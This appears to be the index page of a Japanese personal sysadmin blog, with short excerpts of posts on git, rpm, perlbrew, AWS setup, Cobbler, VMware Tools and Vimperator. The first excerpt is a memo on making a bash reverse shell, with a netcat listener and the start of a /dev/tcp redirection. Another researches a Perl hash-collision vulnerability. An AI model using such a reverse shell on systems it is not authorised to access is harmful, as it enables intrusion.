bashのリダイレクト(リバースシェル)について

朝からbashの脆弱性で盛り上がってますが、ちょっと調べていて bash の機能を使って Reverse Shell できるそうなので、そのメモ。http://d.hatena.ne.jp/ukky3/20080420/1208672083基本上記のブログ通り。 ● SHELL1 nc -l -k 8080 ● SHELL2 exec 5<>/dev/tcp…

すでにコミット済みのファイルを無視する & git 軽量化

git

コード読みたくて clone したら一緒に管理されてる gif やら png やらその他のバイナリファイルも clone されて DISK 圧迫するからそこら辺は消して無視したい。gitignore や .git/info/exclude で無視しようとしても、すでにコミットされてるから無視できな…

ハッシュで使われるハッシュ関数を利用する方法

巷で噂のperl の脆弱性について調べ中。 http://blog.perlassociation.org/2013/03/perl.html 衝突するキーを探したくて、ハッシュ値の計算方法を調べてたけど、 Bモジュールを使えば良さそう. #! /bin/perl use strict; use warnings; use B qw(hash);prin…

一時的にbashのエイリアス無効化

参考:http://blog.goo.ne.jp/_memento/e/1a2bf3345493d88e4c0dd718fdf47685 コマンドの先頭に¥をつける. 例 ¥rm

変数内のスラッシュをエスケープ

参考:http://oshiete.goo.ne.jp/qa/4356597.htmlシェルスクリプトで変数にファイルのパスを保存しているとき、その変数を使ってsedやらawkで置換したい場合にスラッシュをエスケープしないとエラーになるのでその対処方法。 FILE=/file/to/path ESCAPE=`ech…

rpm の中身を見る

参考1:http://www.atmarkit.co.jp/flinux/rensai/linuxtips/956rpmdevextract.html 参考2:http://database-tearoom.seesaa.net/article/15091713.html RPMパッケージからファイルを取り出す # yum install rpmdevtools $ rpmdev-extract *.rpm rpmパッケ…

perlbrew インストール

パッケージ周りの管理はもともとされてたけど、最近は(?)本体もホームに置いて管理できるやつが流行りっぽいね。 まぁそのほうが、管理者権限なくても色々できるからレンタルサーバ等で便利だし、OSのアップデート等でバージョン上がって動かないって問題…

git alias について

git config --global alias.co checkout git config --global alias.st 'status' git config --global alias.ci 'commit -a' git config --global alias.di 'diff' git config --global alias.br 'branch' git config --global alias.stat 'log --stat --sum…

daemontools インストール

参考1:http://cr.yp.to/daemontools/install.html 参考2:http://www.atmarkit.co.jp/flinux/rensai/qmail09/qmail09a.html cloudforecast やら memcached やらの自動起動&プロセス監視に deamontools を使う。公式を参考にインストール。 # mkdir -p /pac…

サーバ時刻を UTC から JST に変更する

参考:http://tm.root-n.com/unix:general:utc2jst $ sudo ln -sf /usr/share/zoneinfo/Japan /etc/localtime

snmp 設定

参考1:http://www.itmedia.co.jp/enterprise/special/0705/snmp/ 参考2:http://www.cosmo.sci.hokudai.ac.jp/~jgn/tebiki/mrtg/snmp.html 参考3:http://www.uetyi.mydns.jp/wordpress/tag/snmp cloudforecast を設定するに当たり、snmp について簡単に勉…

AWS環境構築メモ

AWS

Amazon Linux AMI からインスタンスを立ち上げたときの初期設定作業メモ ホスト名で他ノードを引けるように /etc/hosts差し替え ホスト名変更 /etc/sysconfig/network の HOSTNAME 変更 /etc/rc.d/init.d/network restart 変更しなかったので、hostname で直…

Homebrew でパッケージ管理

Lion に移行した際、パッケージ管理を導入することに。 MacPorts は色々と良い話を聞かないので、Homebrew を入れることに。 Homebrew は Rubyで書かれていて、コマンドも brew だけ。 インストール先も /usr/local/ 以下だからまぁそんなもんだよねというこ…

UnixTimestamp から通常の時刻へ変換

参考:http://www.math.kobe-u.ac.jp/~kodama/tips-DateTime-transform.html変換コマンドなど 現在の UNIX time # date $ date +"%s" 1170604923 # ruby $ ruby -e 'p Time.now.to_i' 1170604923 # awk $ gawk 'BEGIN{print systime();exit}' 1170604923 # p…

プロセスの状態遷移

覚え書きhttp://ash.jp/linux/unyo/06.htm プロセスの状態遷移についてやLinuxのリソースについて。

Screen のログ機能とログファイルの閲覧

参考:http://d.hatena.ne.jp/yanma_4/20080330/1206803656 screen のログ機能は2種類ある。 コマンド 意味 ^Z H ログ保存のON/OFFトグル ^Z h これまでのハードコピーを保存する ^Z : hardcopy filename これまでのハードコピーをfilenameに保存する ^Z H …

一般ユーザでSRPMからRPMを作成するための準備

前後するけど 前回の、 screen 4.1 インストール の準備のための設定を。 参考:http://wiki.poyo.jp/read/Writing/misc/linux/rpm_de_php/06.Make%20Simple%20PHP デフォルトでは、/usr/src/redhat/ でビルドしたりする。 でも、それでは一般ユーザでは Per…

screen 4.1 インストール

SRPMからインストール。 参考1:http://gajumaru.ddo.jp/wordpress/?p=168 参考2:http://blog.remora.cx/2010/04/gnu-screen-on-centos-54.html まず準備。 screenのコンパイルには、autoconf-2.6.0 以上が必要。 さらに、autoconf-2.6.0 のコンパイルには…

Vim7.3インストール

参考1:http://blog.dc-d.jp/?p=549vim7.1をCentOS 4に入れてみた。 参考2:http://d.hatena.ne.jp/janus_wel/20110105/1294213885Vim 7.3 on CentOS 5.5 once more 参考3:http://takus.me/computer/vim/centos-5-vim-install/CentOS 5.5 に最新版の Vim を…

epel リポジトリ追加

参考1:http://d.hatena.ne.jp/t2y-1979/20110430/1304140587 参考2:http://network.station.ez-net.jp/os/linux/update/repository.epel/centos/5.5.asp $ sudo rpm -ivh http://download.fedora.redhat.com/pub/epel/5/x86_64/epel-release-5-4.noarch.rp…

Cobbler 環境構築で Fedora15 を自動インストール

Fedora15 で Cobbler 環境構築 の続き。 前回、Fedora15 の distro と profile のインポート及び、ローカルリポジトリの構築が完了。 今回は、 ks ファイルをいじくって、自動インストールの構成内容を記述する。 Fedora15をインポートした時点で、kickstart…

普通のプロジェクトをJavaプロジェクトに変更する方法

参考:http://www.ne.jp/asahi/hishidama/home/tech/eclipse/java.html↑のページそのまま。 .project 編集 .classpath 新規追加 Eclipse上で対象プロジェクトを更新 .project ファイル ・・・ <buildSpec> <buildCommand> <name>org.eclipse.jdt.core.javabuilder</name> <arguments> </arguments> </buildCommand> </buildSpec> <natures> <nature>org.eclipse.jd…</nature></natures>

Fedora15 x86_64 に VMWare Tools をインストール その2

Fedora15にVMWare Toolsをインストールの続き 前回、x86_64 版でやったらエラー出たけどインストールはできたという喉に小骨が詰まってすっきりしない感じだったので、きちんとインストールできるようにしようという話。下記のサイトを参考にしました。とい…

Linux シングルユーザモード起動

/etc/selinux/config の設定ミスってログインできなくなってしまったときの対処法。 他にも root パスワード忘れたりだとかにも役に立ちそう。起動時のカーネル選択画面でE(edit)を押す。 2行目のkernelと書かれた行を選択しE(edit)を押す。 下記を追加。 se…

Fedora15 で Cobbler 環境構築

Cobbler = ネットワークブート用ユーティリティパッケージ Cobbler のバージョンは以下のとおり。 $ sudo cobbler version Cobbler 2.0.11 source: ?, ? build time: Tue Apr 26 19:08:26 2011 以下、実際に行なった手順。 Fedora 15インストール ↓ iptables…

Eclipse から git へ ssh の公開鍵を使ってアクセスする方法

↑で、かなりハマってしまったので、メモ。 以下、MacOS10.6.8 + Eclipse3.6 の話。 gitosis は ssh の公開鍵認証でアクセスするので Eclipse からアクセスできるようにしようとしたのが始まり。 まず、Eclipse に Egit をインストールして git を使えるよう…

Cent5.6 に git & gitosis をインストール

参考1:http://openbooth.org/archives/65.html:gitosis - Git リポジトリ群の管理とアクセス制御 vol.1 参考2:http://openbooth.org/archives/82.html:gitosis - Git リポジトリ群の管理とアクセス制御 vol.2 まず、 git をホスティングするサーバの準備…

Fedora15にVMWare Toolsをインストール

Fedora 15 i386 の話。 yum install kernel-devel でインストールされるバージョンと Fedora15 のカーネルバージョンが違ったので苦労した。 $ uname -r 2.6.38.6-26.rc1.fc15.i686.PAEでバージョンを確認。 必要なツール一式とカーネルのヘッダーファイルを…

覚え書き

参考:http://hyamada.ddo.jp/hiki/hiki.cgi?vimperator oまたはt Tips bookmark や履歴等限定で補完 履歴から補完 ^ bookmarkから補完 * タグから補完 + タイトルから補完 # URLから補完 @具体的に、bookmarkから補完する場合は、以下のように操作。 o また…

Vimperatorで短縮URLを使う方法

参考1:http://d.hatena.ne.jp/mollifier/20100116/p1参考1では、Google URL Shortenerを使ってやってるけど、現在β版が出て仕様が変更された模様。しょうがなくbit.lyのアカウントを登録し、bit.ly用に書き換え。 参考2:http://ringoon.jp/2009/10/16/b…